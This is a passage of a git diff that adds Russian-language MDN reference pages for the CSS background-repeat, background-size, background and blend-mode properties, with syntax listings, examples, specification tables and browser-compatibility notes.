+ <li>В Gecko есть ошибка, означающая, что <code>background-position</code> не может быть {{cssxref("transition","transitioned")}} между двумя значениями, содержащими разные числа значений {{cssxref("&lt;position&gt;")}}, для примера <code>background-position: 10px 10px;</code> and <code>background-position: 20px 20px, 30px 30px;</code> (смотрите {{bug(1390446)}}). Новый параллельный CSS движок Firefox (также известный как <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> или <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, который планируется выпустить в Firefox 57) исправляет это.</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("background-position-x")}}</li>
+ <li>{{cssxref("background-position-y")}}</li>
+ <li>{{cssxref("background-position-inline")}}</li>
+ <li>{{cssxref("background-position-block")}}</li>
+ <li><a href="/en-US/docs/Web/CSS/Multiple_backgrounds" title="CSS/Multiple backgrounds">Использование нескольких значений</a></li>
+ <li>{{cssxref("transform-origin")}}</li>
+</ul>
diff --git a/files/ru/web/css/background-repeat/index.html b/files/ru/web/css/background-repeat/index.html
new file mode 100644
index 0000000000..9493b0ab8d
--- /dev/null
+++ b/files/ru/web/css/background-repeat/index.html
@@ -0,0 +1,209 @@
+---
+title: background-repeat
+slug: Web/CSS/background-repeat
+tags:
+  - CSS
+  - CSS Background
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/background-repeat
+---
+<div>
+<p>{{CSSRef}}</p>
+
+<p>Свойство <strong><code>background-repeat</code></strong> устанавливает, как фоновые изображения будет повторяться. Они могут повторяться по горизонтальной и вертикальной оси или не повторяться вовсе.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-repeat.html")}}</div>
+
+<p>Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте  <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на извлечение.</p>
+
+<p>По умолчанию, изображения обрезаются по размеру элемента, но их можно масштабировать (используя <code>round</code>) или равномерно растянуть от конца к концу (используя <code>space</code>).</p>
+</div>
+
+<p> </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><code>/*Ключевые значения*/
+background-repeat: repeat-x;
+background-repeat: repeat-y;</code>
+<code>background-repeat: repeat;</code>
+<code>​​​​​​​background-repeat: space;</code>
+<code>​​​​​​​background-repeat: round;</code>
+<code>​​​​​​​background-repeat: no-repeat;</code>
+
+/*Два значения: горизонтальное | вертикальное*/
+<code>background-repeat: repeat space;
+background-repeat: repeat repeat;
+background-repeat: round space;
+background-repeat: no-repeat round;
+
+/* Глобальные значения */
+background-repeat: inherit;
+background-repeat: initial;
+background-repeat: unset;</code></pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code><em>&lt;</em>repeat-style<em>&gt;</em></code></dt>
+ <dd>Следующие однозначные имеют двухзначные эквиваленты:</dd>
+ <dd>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>repeat-x</code></td>
+    <td>тоже самое, что и <code>repeat no-repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>repeat-y</code></td>
+    <td>тоже самое, что и <code>no-repeat repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>repeat</code></td>
+    <td>тоже самое, что и <code>repeat repeat</code></td>
+   </tr>
+   <tr>
+    <td><code>space</code></td>
+    <td>тоже самое, что и <code>space space</code></td>
+   </tr>
+   <tr>
+    <td><code>round</code></td>
+    <td>тоже самое, что и <code>round round</code></td>
+   </tr>
+   <tr>
+    <td><code>no-repeat</code></td>
+    <td>тоже самое, что и <code>no-repeat no-repeat</code></td>
+   </tr>
+  </tbody>
+ </table>
+ В двухзначном синтаксисе первое означает горизонтальные повторения, а второе вертикальные.<br>
+
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>repeat</code></td>
+    <td>Изображения повторяются столько, сколько необходимо, чтобы полностью покрыть область элемента, последнее обрезается, если не хватает места.</td>
+   </tr>
+   <tr>
+    <td><code>space</code></td>
+    <td>Изображение повторяется в заданном направлении столько раз, сколько необходимо, чтобы покрыть большую часть области рисования фонового изображения, не обрезая изображение. Оставшееся незакрытое пространство равномерно распределено между изображениями. Первое и последнее изображения касаются края элемента. Значение CSS свойства {{cssxref("background-position")}} игнорируется для рассматриваемого направления, за исключением случаев, когда отдельное изображение больше области рисования фоновго изображения, что является единственным случаем, когда изображение может быть обрезано, когда используется значение <code>space</code>.</td>
+   </tr>
+   <tr>
+    <td><code>round</code></td>
+    <td>Изображение повторяется в заданном направлении столько раз, сколько необходимо, чтобы покрыть большую часть области рисования фонового изображения, не обрезая изображение. Если оно не покрывает точно область, плитки изменяются в этом направлении, чтобы соответствовать ей.</td>
+   </tr>
+   <tr>
+    <td><code>no-repeat</code></td>
+    <td>Изображение не повторяется (и, следовательно, область рисования фонового изображения не обязательно будет полностью покрыта). Расположение неповторяющегося фонового изображения определяется CSS свойством {{cssxref("background-position")}}.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+    &lt;li&gt;no-repeat
+        &lt;div class="one"&gt;&amp;nbsp;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;repeat
+        &lt;div class="two"&gt;&amp;nbsp;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;repeat-x
+        &lt;div class="three"&gt;&amp;nbsp;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;repeat-y
+        &lt;div class="four"&gt;&amp;nbsp;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;repeat-x, repeat-y (multiple images)
+        &lt;div class="five"&gt;&amp;nbsp;&lt;/div&gt;
+    &lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Совместно для всех DIVS в примере */
+li {margin-bottom: 12px;}
+div {
+    background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif);
+    width: 144px;
+    height: 84px;
+}
+
+/* повторение фона CSS */
+.one {
+    background-repeat: no-repeat;
+}
+.two {
+    background-repeat: repeat;
+}
+.three {
+    background-repeat: repeat-x;
+}
+.four {
+    background-repeat: repeat-y;
+}
+
+/* Несколько изображений */
+.five {
+    background-image:  url(https://mdn.mozillademos.org/files/12005/starsolid.gif),
+                       url(https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png);
+    background-repeat: repeat-x,
+                       repeat-y;
+    height: 144px;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>В этом примере каждому элементу списка соответствует другое значение <code>background-repeat</code>.</p>
+
+<p>{{EmbedLiveSample('Examples', 240, 360)}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-repeat', 'background-repeat')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Добавлена поддержка изображений с несколькими фонами, синтаксис с двумя значениями, обеспечивающий различное поведение повторения для горизонтального и вертикального направлений, ключевых слов <code>space</code> и <code>round</code>, а также для фона на элементе на уровне строки путем точного определения области рисования фона.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-repeat', 'background-repeat')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Без существенных изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-repeat', 'background-repeat')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<p>{{Compat("css.properties.background-repeat")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>
+  <p id="Using_CSS_multiple_backgrounds"><a href="/ru/docs/CSS/Using_CSS_multiple_backgrounds" title="CSS/Using_CSS_multiple_backgrounds">Использование нескольких CSS фонов</a></p>
+ </li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/css/background-size/index.html b/files/ru/web/css/background-size/index.html
new file mode 100644
index 0000000000..03d0ba3a13
--- /dev/null
+++ b/files/ru/web/css/background-size/index.html
@@ -0,0 +1,250 @@
+---
+title: background-size
+slug: Web/CSS/background-size
+translation_of: Web/CSS/background-size
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Значение <strong><code>background-size</code></strong> в <a href="/en-US/docs/CSS" title="CSS">CSS</a> позволяет задавать размер фонового изображения. Изображение может быть оставлено в исходном размере, растянуто, или подогнано под размеры доступного пространства.</p>
+
+<div class="note"><strong>Предупреждение:</strong> Если значение этого свойства не задано в сокращенном свойстве {{cssxref("background")}}, которое применяется к элементу после CSS свойства <code>background-size</code>, то значение этого свойства затем сбрасывается до исходного значения c помощью сокращеного свойства.</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">/* Ключевые слова */
+background-size: cover;
+background-size: contain;
+
+/* Указано одно значение - ширина изображения, */
+/* высота в таком случае устанавливается в auto */
+background-size: 50%;
+background-size: 3em;
+background-size: 12px;
+background-size: auto;
+
+/* Указаны два значения - */
+/* ширина и высота соответственно */
+background-size: 50% auto;
+background-size: 3em 25%;
+background-size: auto 6px;
+background-size: auto auto;
+
+/* Значения для нескольких фонов */
+/* Не путайте такую запись с background-size: auto auto */
+background-size: auto, auto;
+background-size: 50%, 25%, 25%;
+background-size: 6px, auto, contain;
+
+/* Глобальные значения */
+background-size: inherit;
+background-size: initial;
+background-size: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;размер&gt;</code></dt>
+ <dd>Значение <code>{{cssxref("&lt;length&gt;")}}</code> позволяет масштабировать размер фонового изображения в заданном измерении. Отрицательный размер не допускается.</dd>
+ <dt><code>&lt;проценты&gt;</code></dt>
+ <dd>Значение <code>{{cssxref("&lt;percentage&gt;")}}</code>, которое масштабирует фоновое изображение в соответствующем измерении до указанного процента области расположения фона, которое определяется значением {{cssxref("background-origin")}}. Область расположения фона по умолчанию является областью, содержащей содержимое поля и его отступы; область также может быть изменена на содержимое или область, содержащую границы, отступы и содержимое. Если {{cssxref("background-attachment","attachment")}} фона является <code>fixed</code>, область позиционирования фона вместо этого является всей областью окна браузера, не включая область, покрытую полосами прокрутки, если они присутствуют. Отрицательные проценты не допускаются.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Значение позволяет изменять размер фонового изображения в соответствии с заданным направлением, сохраняя его пропорции.</dd>
+ <dt><code>contain</code></dt>
+ <dd>Масштабирует картинку так, чтобы она максимально накрыла собой весь блок. Картинка при этом не обрезается, а вписывается в блок с сохранением пропорций.</dd>
+ <dt><code>cover</code></dt>
+ <dd>Ключевое слово, обратное <code>contain</code>. Масштабирует изображение как можно больше c сохранением пропорций изображения (изображение не становится сплющенным). Когда изображение и контейнер имеют разные размеры, <em>изображение обрезается</em> либо влево / вправо, либо сверху / снизу.</dd>
+</dl>
+
+<p>Интерпретация возможных значений зависит от внутренних размеров изображений (ширина и высота) и внутренней пропорции (соотношение ширины и высоты). Растровое изображение всегда имеет внутренние размеры и внутреннюю пропорцию. Векторное изображение может иметь оба внутренних размера (и, следовательно, должно иметь внутреннюю пропорцию). Он также может иметь одно или не иметь внутренних размеров, и в любом случае он может иметь или не иметь внутреннюю пропорцию. Градиенты обрабатываются как изображения без внутренних размеров или внутренней пропорции.</p>
+
+<div class="note">
+<p><strong>Предупреждение: </strong>Это поведение изменилось в Gecko 8.0 {{geckoRelease("8.0")}}. До этого, градиенты обрабатывались как изображения без внутренних размеров, с внутренней пропоцией, идентичной пропорции области расположения фона.</p>
+</div>
+
+<p>Фоновые изображения, сгенерированные из элементов с использованием {{cssxref("-moz-element")}} (которые фактически соответсвуют элементу) в настоящее время обрабатываются как изображения с размерами элемента, или как область расположения фона, если элементом является SVG, с соответсвующей внутренней пропорцией.</p>
+
+<div class="note"><strong>Предупреждение:</strong> Это не определенное в настоящее время поведение, которое заключается в том, что внутренние размеры и пропорция должны быть такими же как у элемента во всех случаях.</div>
+
+<p>Визуализированный размер фоного изображения затем вычисляется следующим способом:</p>
+
+<dl>
+ <dt><font face="Open Sans, Arial, sans-serif">Если оба атрибута в </font><code>background-size</code> заданы и различны от <code>auto</code>:</dt>
+ <dd>Фоновое изображение отображается в указанном размере.</dd>
+ <dt>Если <code>background-size</code> содержит <code>contain</code> или <code>cover</code>:</dt>
+ <dd>Изображение визуализируется с сохранением его внутренней пропорции при наибольшем размере, который содержится внутри области размещения фона или покрывает ее. Если изображение не имеет внутренней пропорции, оно отображается с размером области расположения фона.</dd>
+ <dt>Если <code>background-size</code> установлен как <code>auto</code> или <code>auto auto</code>:</dt>
+ <dd>Если изображение имеет оба внутренних размера, оно отображается с таким размером. Если оно не имеет внутренних размеров и внутренней пропорции, оно отображается с размером области расположения фона. Если оно не имеет размеров, но имеет пропорцию, оно отображается так, если был был бы указан <code>contain</code>. Если изображение имеет один внутренний размер и пропорцию, оно отображается с размером, определенным этим одним размером и пропорцией. Если изображение имеет один внутренний размер, но не имеет пропоцию, оно отображается с использованием внутреннего размера и соответсвующим размером области позиционирования фона.</dd>
+ <dt>Если background-size содержит один атрибут <code>auto</code> и один не-<code>auto</code>:</dt>
+ <dd>Если изображение имеет внутреннюю пропорцию, то визуализируйте его используя указанный размер, и вычислите другой размер из указанного размера и внутренней пропорции. Если изображение не имет внутренней пропорции, используйте указанный размер для этого размера. Для другого размера, используйте соответсвующее внутреннее измерение изображения, если оно есть. Если такого внутреннего размера нет, используйте соответствующий размер области расположения фона.</dd>
+</dl>
+
+<p>Обратите внимание, что изменение размера фона для векторных изображений, в которых отсутствуют внутренние размеры или пропорции, еще не полностью реализовано во всех браузерах. Будьте осторожны, полагаясь на поведение, описанное выше, и тестируйте в нескольких браузерах (в частности, включая версии Firefox 7 или более ранней версии и Firefox 8 или более поздней версии), чтобы убедиться, что различные визуализации приемлемы.</p>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p><a href="http://whereswalden.com/files/mozilla/background-size/page-cover.html">Эта демонстрация <code>background-size: cover</code></a> и <a href="http://whereswalden.com/files/mozilla/background-size/page-contain.html">эта демонстрация <code>background-size: contain</code></a> предназначены для открытия в новых окнах, чтобы вы могли видеть, как <code>contain</code> и <code>cover</code> ведут себя, когда размеры области расположения фона изменяются. <a href="http://whereswalden.com/files/mozilla/background-size/more-examples.html">Эта серия демонстраций, как работает <code>background-size</code> и взаимодействует с другими свойствами <code>background-*</code></a>, должна в значительной степени охватить оставшуюся основу в том, как использовать <code>background-size</code> отдельно и в сочетании с другими свойствами.</p>
+
+<h2 id="Замечания">Замечания</h2>
+
+<p>Если вы указываете градиент в качестве фона и указали <code>background-size</code>, который будет использоваться вместе с ним, лучше не указывать размер, который использует единственную автоматическую составную часть, или задается с использованием только значения ширины (для примера, <code>background-size: 50%</code>). Рендеринг градиентов в таких случаях изменился в Firefox 8, и в настоящее время он обычно несовместим во всех браузерах, которые не реализуют рендеринг в соответствии с <a href="http://www.w3.org/TR/css3-background/#the-background-size" title="http://www.w3.org/TR/css3-background/#the-background-size">CSS3 спецификацией <code>background-size</code> </a>и с <a href="http://dev.w3.org/csswg/css3-images/#gradients" title="http://dev.w3.org/csswg/css3-images/#gradients">CSS3 спецификацией градиента значений изображения</a>.</p>
+
+<pre class="brush: css">.bar {
+       width: 50px; height: 100px;
+       background-image: gradient(...);
+
+       /* Лучше не использовать */
+       background-size: 25px;
+       background-size: 50%;
+       background-size: auto 50px;
+       background-size: auto 50%;
+
+       /* Допускается */
+       background-size: 25px 50px;
+       background-size: 50% 50%;
+}
+</pre>
+
+<p>Обратите внимание, что особенно не рекомендуется использовать размер в пикселях и размер <code>auto</code> с градиентом, потому что невозможно воспроизвести рендеринг в версиях Firefox до 8 и в браузерах, не реализующих рендеринг Firefox 8, без знания точного размера элемента, фон которого указывается.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-size', 'background-size')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th colspan="3">Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td rowspan="2">Базовая поддержка</td>
+   <td>1.0{{property_prefix("-webkit")}} [2]</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}} [4]</td>
+   <td rowspan="2">9.0 [5]</td>
+   <td>9.5{{property_prefix("-o")}}<br>
+    with some bugs [1]</td>
+   <td>3.0 (522){{property_prefix("-webkit")}}<br>
+    but from an older CSS3 draft [2]</td>
+  </tr>
+  <tr>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10.0</td>
+   <td>4.1 (532)</td>
+  </tr>
+  <tr>
+   <td>Поддержка значений<br>
+    <code>contain</code> и <code>cover</code></td>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>9.0 [5]</td>
+   <td>10.0</td>
+   <td colspan="3">4.1 (532)</td>
+  </tr>
+  <tr>
+   <td>Поддержка SVG фонов</td>
+   <td>44.0</td>
+   <td>{{CompatGeckoDesktop("8.0")}}</td>
+   <td>9.0</td>
+   <td>31.0</td>
+   <td colspan="3">{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Windows Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    2.3</td>
+   <td>1.0{{property_prefix("-moz")}}<br>
+    4.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>5.1 (maybe earlier)</td>
+  </tr>
+  <tr>
+   <td>Поддержка SVG фонов</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("8.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>[1] В Opera 9.5 вычисление области расположения фона некорректно для фиксированных фонов. Opera 9.5 также интерпретирует форму с двумя значениями как горизонтальный масштабный коэффициент и, по-видимому, вертикальное измерение <em>отсечения</em>. Это было исправлено в Opera 10.</li>
+ <li>[2] Браузеры на основе WebKit изначально реализовали более старый черновик  CSS3 <code>background-size</code>, в котором пропущенное второе значение рассматривается как <em>дублирующее</em> первое значение; этот черновик не включает в себя ключевые слова <code>contain</code> или <code>cover</code>.</li>
+ <li>[3] Konqueror 3.5.4 поддерживает <code>-khtml-background-size</code>.</li>
+ <li>[4] Хотя это свойство является новым в Gecko 1.9.2 (Firefox 3.6), в Firefox 3.5 можно полностью растянуть изображение поверх фона, используя {{cssxref("-moz-border-image")}}.
+  <pre class="brush:css">.foo {
+  background-image: url(bg-image.png);
+
+  -webkit-background-size: 100% 100%;           /* Safari 3.0 */
+     -moz-background-size: 100% 100%;           /* Gecko 1.9.2 (Firefox 3.6) */
+       -o-background-size: 100% 100%;           /* Opera 9.5 */
+          background-size: 100% 100%;           /* Gecko 2.0 (Firefox 4.0) and other CSS3-compliant browsers */
+
+  -moz-border-image: url(bg-image.png) 0;    /* Gecko 1.9.1 (Firefox 3.5) */
+}</pre>
+ </li>
+ <li>[5] Хотя Internet Explorer 8 не поддерживает значение <code>background-size</code>, с помощью нестандартного атрибута <code>-ms-filter</code>  возможно воспроизвести некоторые его возможности:
+  <pre class="brush:css">-ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='path_relative_to_the_HTML_file', sizingMethod='scale')";</pre>
+  Это имитирует значение <code>cover</code>.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/CSS_Reference" title="CSS Reference">Справочник по CSS</a></li>
+ <li><a href="/en-US/docs/CSS/Multiple_backgrounds" title="CSS/Multiple backgrounds">Несколько фонов</a></li>
+ <li><a href="/en-US/docs/CSS/Scaling_background_images" title="CSS/Scaling_background_images">Масштабирование фонового изображения</a></li>
+</ul>
diff --git a/files/ru/web/css/background/index.html b/files/ru/web/css/background/index.html
new file mode 100644
index 0000000000..3835bece7c
--- /dev/null
+++ b/files/ru/web/css/background/index.html
@@ -0,0 +1,135 @@
+---
+title: background
+slug: Web/CSS/background
+translation_of: Web/CSS/background
+---
+<div>{{CSSRef("CSS Background")}}</div>
+
+<div>Сокращенное <a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>background</code></strong>  устанаваливает сразу все свойства стиля фона, такие как цвет, изображение, источник и размер, или метод повтора.</div>
+
+<div></div>
+
+<div>{{EmbedInteractiveExample("pages/css/background.html")}}</div>
+
+<p>Исходный код этого интерактивного примера хранится в репозитории GitHub.  Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на извлечение..</p>
+
+<p>Свойство является <a href="/en-US/docs/Web/CSS/Shorthand_properties">сокращением,</a> которое устанавливает следующие свойства в одном объявлении: {{cssxref("background-clip")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, и {{cssxref("background-attachment")}}.</p>
+
+<p>Как и во всех сокращенных свойствах, любые пропущенные вложенные значения будут установлены в свои <a href="/en-US/docs/Web/CSS/initial_value">изначальные значения</a>.</p>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">/* Использование свойства &lt;background-color&gt; */
+background: green;
+
+/* Использование свойств &lt;bg-image&gt; и &lt;repeat-style&gt; */
+background: url("test.jpg") repeat-y;
+
+/* Использование &lt;box&gt; и &lt;background-color&gt; */
+background: border-box red;
+
+/* Одно изображение, центрированное и масштабированное */
+background: no-repeat center/80% url("../img/image.png");
+</pre>
+
+<div class="note"><strong>Предупреждение:</strong> {{cssxref("background-color")}} можно определить только на последнем фоне, поскольку для всего элемента существует только один цвет фона.</div>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Свойству можно указывать одно или более значений из данного списка в любом порядке:</p>
+
+<dl>
+ <dt><code>&lt;attachment&gt;</code></dt>
+ <dd>Смотри {{cssxref("background-attachment")}}</dd>
+ <dt><code>&lt;box&gt;</code></dt>
+ <dd>Смотри {{cssxref("background-clip")}}</dd>
+ <dt><code>&lt;background-color&gt;</code></dt>
+ <dd>Смотри {{cssxref("background-color")}}</dd>
+ <dt><code>&lt;bg-image&gt;</code></dt>
+ <dd>Смотри {{Cssxref("background-image")}}</dd>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>Смотри {{cssxref("background-position")}}</dd>
+ <dt><code>&lt;repeat-style&gt;</code></dt>
+ <dd>Смотри {{cssxref("background-repeat")}}</dd>
+ <dt><code>&lt;bg-size&gt;</code></dt>
+ <dd>Смотри {{cssxref("background-size")}}. Это свойство должно быть указано после <strong>&lt;position&gt;</strong>, разделенного символом '/'.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="topbanner"&gt;
+  Starry sky&lt;br/&gt;
+  Twinkle twinkle&lt;br/&gt;
+  Starry sky
+&lt;/p&gt;
+&lt;p class="warning"&gt;Here is a paragraph&lt;p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css' highlight:[2,6];">.warning {
+  background: red;
+}
+
+.topbanner {
+  background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #00D repeat-y fixed;
+}
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Примеры")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background', 'background')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Поддержка мультифонов и свойств {{cssxref("background-size")}}, {{cssxref("background-origin")}} и {{cssxref("background-clip")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background', 'background')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Нет значительных изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background', 'background')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{cssinfo}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("css.properties.background")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("-moz-background-inline-policy")}}</li>
+ <li><a href="/en-US/docs/CSS/Using_CSS_gradients">Использование градиентов</a></li>
+ <li><a href="/en-US/docs/CSS/Multiple_backgrounds">Несколько backgrounds</a></li>
+</ul>
diff --git a/files/ru/web/css/blend-mode/index.html b/files/ru/web/css/blend-mode/index.html
new file mode 100644
index 0000000000..382af5dae0
--- /dev/null
+++ b/files/ru/web/css/blend-mode/index.html
@@ -0,0 +1,411 @@
+---
+title: <blend-mode>
+slug: Web/CSS/blend-mode
+translation_of: Web/CSS/blend-mode
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Описание" style="">Описание</h2>
+
+<p>The <strong><code>&lt;blend-mode&gt;</code></strong> type is a collection of keywords describing blend modes.</p>
+
+<p>A blend mode is a method of calculating the final color value of a pixel when layers overlap. Each blend mode takes the color value of the foreground and the backdrop (top color and bottom color respectively), perfoms its calculation and returns a color value. The final, visible layer is the result of performing the blend mode calculation on every overlapping pixel among the blended layers.</p>
+
+<h2 id="Синтаксис" style="">Синтаксис</h2>
+
+<pre class="syntaxbox">Формальный синтаксис: normal | multiply | screen | overlay | darken | lighten | color-dodge | color-burn | hard-light | soft-light | difference | exclusion | hue | saturation | color | luminosity</pre>
+
+<h3 id="Возможные_значения" style="">Возможные значения</h3>
+
+<dl style="">
+ <dt><code>normal</code></dt>
+ <dd>
+ <p>The final color is the top color, whatever the bottom color may be.<br>
+  The effect is similar to two opaque pieces of paper overlapping.</p>
+
+ <div id="normal">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: normal;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('normal', "300", "300") }}</p>
+ </dd>
+ <dt><code>multiply</code></dt>
+ <dd>
+ <p>The final color is the result of multiplying the top and bottom colors.<br>
+  A black layer leads to a black final layer, and a white layer leads to no change.<br>
+  The effect is similar to two images printed on transparent film overlapping.</p>
+
+ <div id="multiply">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: multiply;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('multiply', "300", "300") }}</p>
+ </dd>
+ <dt><code>screen</code></dt>
+ <dd>
+ <p>The final color is the result of inverting the colors, multiplying them and inverting that color value.<br>
+  A black layer leads to no change, and a white layer leads to a white final layer.<br>
+  The effect is similar to two images shone onto a projection screen.</p>
+
